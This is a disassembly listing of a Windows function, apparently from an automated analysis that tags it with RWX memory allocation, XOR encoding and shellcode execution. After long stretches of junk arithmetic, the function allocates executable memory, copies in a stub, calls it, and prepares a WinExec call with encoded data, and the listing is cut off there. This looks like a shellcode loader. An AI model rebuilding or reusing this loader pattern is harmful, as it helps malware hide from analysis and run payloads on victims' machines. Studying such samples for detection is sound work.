Function at 0x140011e40
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x54f0]
mov eax, 0x55f0
call fcn.14001f880
sub rsp, rax
movaps xmmword [rsp + 0x55e0], xmm6
movaps xmmword [rsp + 0x55d0], xmm7
movaps xmmword [rsp + 0x55c0], xmm8
movaps xmmword [rsp + 0x55b0], xmm9
movaps xmmword [rsp + 0x55a0], xmm10
movaps xmmword [rsp + 0x5590], xmm11
movaps xmmword [rsp + 0x5580], xmm12
movaps xmmword [rsp + 0x5570], xmm13
movaps xmmword [rsp + 0x5560], xmm14
movaps xmmword [rsp + 0x5550], xmm15
mov rax, qword [0x14004e040]
xor rax, rsp
mov qword [rbp + 0x5440], rax
mov qword [rbp - 0x80], rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x508], xmm0
lea rcx, [rbp + 0x5518]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x510], r15
mov qword [rbp + 0x518], rcx
mov rax, qword [rcx]
xor rax, r15
mov qword [rbp + 0x508], rax
mov qword [rcx], r12
call fcn.14001ecdc
mov dword [rbp + 0x1984], 0xffffffff
mov dword [rbp + 0x604], eax
mov esi, 1
mov edx, esi
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x604], eax
inc rdx
cmp rdx, 0x270
jb 0x140011f40
mov dword [rbp + 0x600], 0x270
mov dword [rbp + 0x3e0], 0xffffff9c
mov dword [rbp + 0x3e4], 0x64
movsd xmm13, qword [0x140044a20]
mov dword [rsp + 0x30], r12d
xorps xmm8, xmm8
movsd qword [rbp + 0xf0], xmm8
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0xb8]
call fcn.140001580
mov rdi, qword [rbp + 0xb8]
add rdi, 0x5f5e100
mov qword [rsp + 0x68], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3c0], xmm1
mov qword [rbp + 0x3d0], r12
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0xc0], rbx
mov qword [rbp - 0x58], rax
mov rdx, qword [rbp + 0x3c8]
cmp rdx, qword [rbp + 0x3d0]
je 0x14001201d
mov qword [rbp - 0x58], r12
mov qword [rdx], rax
add qword [rbp + 0x3c8], 8
mov rbx, qword [rbp + 0xc0]
jmp 0x14001202e
lea r8, [rbp - 0x58]
lea rcx, [rbp + 0x3c0]
call fcn.14001e290
nop
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x14001203f
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x14001204e
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0xc8], rbx
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x3c8]
cmp rdx, qword [rbp + 0x3d0]
je 0x140012098
mov qword [rbp - 0x50], r12
mov qword [rdx], rax
add qword [rbp + 0x3c8], 8
mov rbx, qword [rbp + 0xc8]
jmp 0x1400120a9
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0x3c0]
call fcn.14001e290
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x1400120ba
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x1400120c9
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0xd0], rbx
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp + 0x3c8]
cmp rdx, qword [rbp + 0x3d0]
je 0x140012113
mov qword [rbp - 0x48], r12
mov qword [rdx], rax
add qword [rbp + 0x3c8], 8
mov rbx, qword [rbp + 0xd0]
jmp 0x140012124
lea r8, [rbp - 0x48]
lea rcx, [rbp + 0x3c0]
call fcn.14001e290
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140012135
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x140012144
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0xd8], rbx
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp + 0x3c8]
cmp rdx, qword [rbp + 0x3d0]
je 0x14001218e
mov qword [rbp - 0x40], r12
mov qword [rdx], rax
add qword [rbp + 0x3c8], 8
mov rbx, qword [rbp + 0xd8]
jmp 0x14001219f
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x3c0]
call fcn.14001e290
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400121b0
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x1400121bf
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0xe0], rbx
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp + 0x3c8]
cmp rdx, qword [rbp + 0x3d0]
je 0x140012209
mov qword [rbp - 0x38], r12
mov qword [rdx], rax
add qword [rbp + 0x3c8], 8
mov rbx, qword [rbp + 0xe0]
jmp 0x14001221a
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x3c0]
call fcn.14001e290
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14001222b
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x14001223a
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0xe8], rbx
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp + 0x3c8]
cmp rdx, qword [rbp + 0x3d0]
je 0x140012284
mov qword [rbp - 0x30], r12
mov qword [rdx], rax
add qword [rbp + 0x3c8], 8
mov rbx, qword [rbp + 0xe8]
jmp 0x140012295
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x3c0]
call fcn.14001e290
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x1400122a6
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x1400122b5
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
movsd xmm10, qword [0x1400449f8]
movsd xmm9, qword [0x140044a18]
movsd xmm14, qword [0x140044a10]
movsd xmm15, qword [0x140044a00]
movsd xmm6, qword [0x140044aa0]
movabs rsi, 0xb2f4fc0794908cf3
call fcn.14001ecb0
mov rbx, rax
call fcn.14001ec94
mov rcx, rax
cmp rbx, 0x989680
jne 0x14001230a
imul rax, rcx, 0x64
jmp 0x140012379
cmp rbx, 0x16e3600
jne 0x14001235e
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140012379
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x140012e46
mov dword [rsp + 0x40], r12d
nop word [rax + rax]
mov r12d, dword [rbp + 0x3e0]
btc r12d, 0x1f
mov dword [rsp + 0x48], r12d
mov r13d, dword [rbp + 0x3e4]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x600]
cmp r13d, 0xffffffff
jne 0x1400123dc
call fcn.14001e850
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
jmp 0x140012478
lea ebx, [r13 + 1]
call fcn.14001e850
mov r14d, ebx
mov ecx, eax
imul rcx, r14
mov eax, ebx
cmp ecx, ebx
jae 0x14001241a
neg eax
xor edx, edx
div ebx
mov esi, edx
mov eax, ebx
cmp ecx, edx
jae 0x14001241a
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x140012402
jmp 0x14001241c
mov ebx, eax
mov r14d, r12d
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov edx, ebx
mov qword [rsp + 0x50], rdx
mov ecx, eax
imul rcx, rdx
mov esi, ebx
mov r15d, r12d
cmp ecx, ebx
jae 0x140012474
mov eax, ebx
neg eax
xor edx, edx
div ebx
cmp ecx, edx
jae 0x140012474
mov edi, edx
mov r12, qword [rsp + 0x50]
mov r15d, r14d
mov esi, ebx
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, r12
cmp ecx, edi
jb 0x140012454
mov r12d, dword [rsp + 0x48]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x3c8]
mov r8, qword [rbp + 0x3c0]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rbx, qword [rax + 8]
mov qword [rsp + 0x48], rbx
lea rcx, [rbp + 0x600]
call fcn.14001e850
cmp r13d, 0xffffffff
jne 0x1400124c7
mov ecx, eax
jmp 0x140012501
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x1400124fd
mov eax, esi
neg eax
xor edx, edx
div esi
mov ebx, edx
cmp ecx, edx
jae 0x1400124f8
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x1400124e2
mov rbx, qword [rsp + 0x48]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rbx
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov ebx, 2
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x140012524
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov ebx, 2
nop
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x140012570
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm6
addsd xmm0, xmm10
call fcn.140035420
movaps xmm7, xmm0
movaps xmm0, xmm11
call fcn.140034aa0
movaps xmm6, xmm0
movaps xmm0, xmm12
call fcn.140036ff0
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call fcn.140035020
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140012610
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movaps xmm1, xmm15
call fcn.140035950
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov ebx, 2
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140012672
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call fcn.140037560
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c0], xmm0
xor r13d, r13d
mov ecx, 0x30
call fcn.14001f4b8
mov rcx, rax
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4d0], 0x2c
mov qword [rbp + 0x4d8], 0x2f
movups xmm0, xmmword [str.legend_are_fine_label_that_and_the_of_was_in]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140044758]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140044768]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x140044770]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], r13b
lea rbx, [rbp + 0x4c0]
cmp qword [rbp + 0x4d8], 0xf
cmova rbx, qword [rbp + 0x4c0]
lea rcx, [rbp + 0x4c0]
cmova rcx, qword [rbp + 0x4c0]
mov rsi, qword [rbp + 0x4d0]
add rsi, rcx
cmp rbx, rsi
je 0x1400127a7
nop
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x140012797
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140012780
shr rax, 0x20
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x140012760
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x428], xmm1
mov qword [rbp + 0x438], r13
mov ecx, 0x190
call fcn.14001f4b8
mov qword [rbp + 0x428], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x438], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call fcn.1400385f0
mov qword [rbp + 0x430], r14
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0x1c0], rax
lea rax, [rbp + 0x600]
mov qword [rbp + 0x1c8], rax
movaps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rsp + 0x50], xmm0
mov rsi, qword [rbp + 0x428]
cmp rsi, r14
je 0x140012854
mov rbx, qword [rsp + 0x58]
mov r15, qword [rsp + 0x50]
nop
mov rdx, rbx
mov rcx, r15
call fcn.14001d910
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140012830
mov r14, qword [rbp + 0x430]
mov rsi, qword [rbp + 0x428]
mov dword [rbp + 0x500], 0xffffff9c
mov dword [rbp + 0x504], 0x64
lea rax, [rbp + 0x500]
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x600]
mov qword [rbp + 0x1d8], rax
movaps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rsp + 0x50], xmm0
cmp rsi, r14
je 0x1400128c8
mov r15, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
mov ebx, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.14001d910
add eax, ebx
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x1400128a0
mov r14, qword [rbp + 0x430]
mov rsi, qword [rbp + 0x428]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.14001e580
mov r8d, r13d
mov rax, qword [rbp + 0x428]
mov rdx, r13
mov r9, qword [rbp + 0x430]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x140012961
cmp rcx, 8
jb 0x140012961
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop
movdqu xmm0, xmmword [rax]
paddd xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm1, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x140012920
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14001297c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140012970
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp + 0x3e0]
btc esi, 0x1f
mov r12d, dword [rbp + 0x3e4]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x600]
cmp r12d, 0xffffffff
jne 0x1400129ce
call fcn.14001e850
lea ebx, [rax + rsi]
xor ebx, 0x80000000
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
jmp 0x140012a71
inc r12d
call fcn.14001e850
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x140012a0a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov ebx, edx
cmp ecx, edx
jae 0x140012a0a
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x1400129f4
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov ebx, r14d
cmp ecx, r12d
jae 0x140012a6d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x140012a6d
nop word [rax + rax]
mov esi, r15d
mov ebx, r14d
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x140012a50
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, ebx
test ebx, ebx
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp + 0x3e0]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x3e4]
lea rcx, [rbp + 0x600]
jne 0x140012b39
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x140012ae4
call fcn.14001e850
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140012b97
lea ebx, [rax + 1]
call fcn.14001e850
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140012b26
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140012b26
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140012b10
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140012b97
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x140012b4e
call fcn.14001e850
mov ecx, eax
jmp 0x140012b8a
lea ebx, [rax + 1]
call fcn.14001e850
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140012b86
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140012b86
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140012b70
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, dword [rbp + 0x3e0]
btc r12d, 0x1f
mov r13d, 5
mov r14d, dword [rbp + 0x3e4]
btc r14d, 0x1f
sub r14d, r12d
xor edi, edi
nop
mov r15d, edi
lea rcx, [rbp + 0x600]
cmp r14d, 0xffffffff
jne 0x140012bd9
call fcn.14001e850
mov ecx, eax
jmp 0x140012c1a
lea ebx, [r14 + 1]
call fcn.14001e850
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140012c16
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140012c16
nop dword [rax]
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140012c00
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140012c40
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm1
test r15b, 1
jne 0x140012cfe
lea rcx, [rbp + 0x600]
cmp r14d, 0xffffffff
jne 0x140012ca4
call fcn.14001e850
mov ecx, eax
jmp 0x140012cea
lea ebx, [r14 + 1]
call fcn.14001e850
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140012ce6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140012ce6
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140012cd0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140012d61
movaps xmm1, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.14001e850
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140012d10
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r15d
cmp r15d, 5
jl 0x140012bc3
sub r13, 1
jne 0x140012bc0
mov rdi, qword [rsp + 0x68]
mov rcx, qword [rbp + 0x428]
test rcx, rcx
je 0x140012de0
mov rax, qword [rbp + 0x438]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012dc4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400159f5
call fcn.14001f4b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x428], xmm0
xor r12d, r12d
mov qword [rbp + 0x438], r12
jmp 0x140012de3
xor r12d, r12d
mov rdx, qword [rbp + 0x4d8]
cmp rdx, 0xf
jbe 0x140012e24
inc rdx
mov rcx, qword [rbp + 0x4c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012e1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400159fb
call fcn.14001f4b0
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp eax, 0x186a0
movsd xmm6, qword [0x140044aa0]
jl 0x140012390
jmp 0x1400122d9
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x3c0]
test rbx, rbx
je 0x140012ee4
mov rdi, qword [rbp + 0x3c8]
cmp rbx, rdi
je 0x140012e8f
mov esi, 1
nop dword [rax + rax]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140012e7f
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x140012e70
mov rbx, qword [rbp + 0x3c0]
mov rax, qword [rbp + 0x3d0]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140012eca
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015a01
mov rcx, rbx
call fcn.14001f4b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3c0], xmm0
mov qword [rbp + 0x3d0], r12
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x70], 0xfa
xorps xmm0, xmm0
movups xmmword [rbp + 0x490], xmm0
lea rsi, [rbp + 0x5518]
movabs r15, 0xff00ff00ff00ff00
mov r14, r15
mov qword [rbp + 0x498], r15
mov qword [rbp + 0x4a0], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x490], rdi
mov qword [rsi], r12
mov ecx, r12d
mov r13d, 3
lea r8, [0x14001ddf0]
lea rdx, [0x140000000]
mov rax, qword [0x1400524c0]
test rax, rax
je 0x140012f7a
cmp rax, r8
je 0x140012f67
inc ecx
mov rax, qword [rdx + rcx*8 + 0x524c0]
test rax, rax
jne 0x140012f51
jmp 0x140012f7a
mov eax, ecx
mov r8, qword [rdx + rax*8 + 0x50b90]
test r8, r8
jne 0x14001308b
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x14001ddf0]
test rax, rax
jne 0x140012faa
mov r8, r12
jmp 0x140013063
mov rax, r9
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140012fc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rsi, qword [rbp + 0x4a0]
mov r14, qword [rbp + 0x498]
mov rdi, qword [rbp + 0x490]
mov rax, qword [0x140052e40]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x524c0], r9
mov qword [rcx + rax*8 + 0x50b90], r8
inc rax
mov qword [0x140052e40], rax
lea rdx, [rbp - 0x70]
mov rcx, rbx
call r8
nop
xor rdi, r14
mov qword [rbp + 0x490], rdi
mov qword [rsi], rdi
mov rbx, qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rbp - 0x6c], r12d
movups xmm0, xmmword [0x1400447c0]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [0x1400447d0]
movups xmmword [rbp + 0x290], xmm1
movups xmm0, xmmword [0x1400447e0]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [0x1400447f0]
movups xmmword [rbp + 0x2b0], xmm1
movups xmm0, xmmword [0x140044800]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [0x140044810]
movups xmmword [rbp + 0x2d0], xmm1
movups xmm0, xmmword [0x140044820]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [0x140044830]
movups xmmword [rbp + 0x2f0], xmm1
movsd xmm0, qword [str.BVXH]
movsd qword [rbp + 0x300], xmm0
movdqa xmm7, xmmword [0x140044a70]
movdqa xmm11, xmmword [0x140044ac0]
movdqa xmm12, xmmword [str.bbbb]
movdqa xmm5, xmmword [0x140044ab0]
movdqa xmm6, xmmword [0x140044a90]
